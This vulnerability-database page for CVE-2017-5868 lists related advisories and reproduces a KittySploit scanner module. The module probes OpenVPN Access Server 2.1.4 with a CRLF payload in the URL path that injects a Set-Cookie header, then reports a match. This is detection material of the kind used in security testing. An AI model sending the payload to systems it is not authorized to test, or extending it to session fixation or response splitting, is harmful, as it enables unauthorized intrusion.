OpenVPN Access Server 2.1.4 - CRLF Injection Detection
| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| CVE-2017-5868 | 26 Jul 202607:02 | – | circl | |
| OpenVPN Access Server CRLF Injection Vulnerability | 24 May 201700:00 | – | cnvd | |
| CVE-2017-5868 | 25 May 201719:00 | – | cve | |
| CVE-2017-5868 | 25 May 201719:00 | – | cvelist | |
| EUVD-2017-14944 | 7 Oct 202500:30 | – | euvd | |
| Cuvva: CRLF Injection [vpn.corp.cuvva.com] | 24 May 201718:16 | – | hackerone | |
| Ubiquiti Inc.: CRLF Injection on openvpn.svc.ubnt.com | 26 May 201722:41 | – | hackerone | |
| OpenVPN Access Server 2.1.4 - CRLF Injection | 20 Oct 202602:05 | – | nuclei | |
| CVE-2017-5868 | 26 May 201701:29 | – | nvd | |
| CVE-2017-5868 | 26 May 201701:29 | – | osv_cve |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""CRLF injection vulnerability in the web interface in OpenVPN Access Server 2."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'OpenVPN Access Server 2.1.4 - CRLF Injection Detection',
'description': 'CRLF injection vulnerability in the web interface in OpenVPN Access Server 2.1.4 allows remote attackers to inject arbitrary HTTP headers and consequently conduct session fixation attacks and possibly HTTP response splitting attacks via "%0A" characters in the PATH_INFO to __session_start__/.',
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve', 'cve2017', 'openvpn', 'crlf', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://www.openwall.com/lists/oss-security/2017/05/23/13',
'http://www.securitytracker.com/id/1038547',
'https://nvd.nist.gov/vuln/detail/CVE-2017-5868',
],
'cve': 'CVE-2017-5868',
}
def run(self):
r = self.http_request(method="GET", path='/__session_start__/%0aSet-Cookie:%20crlfinjection=1;', allow_redirects=False)
if not r or r.status_code != 302:
return False
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
header_regexes = ('^Set-Cookie: crlfinjection=1;',)
if (any(re.search(rx, headers, 0) for rx in header_regexes)):
self.set_info(
severity='medium',
reason="OpenVPN Access Server 2.1.4 - CRLF Injection detected",
path='/__session_start__/%0aSet-Cookie:%20crlfinjection=1;',
)
return True
return False
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28 Jul 2026 11:27Current
6.5Medium risk
Vulners AI Score6.5
CVSS 24.3
CVSS 36.1
EPSS0.04622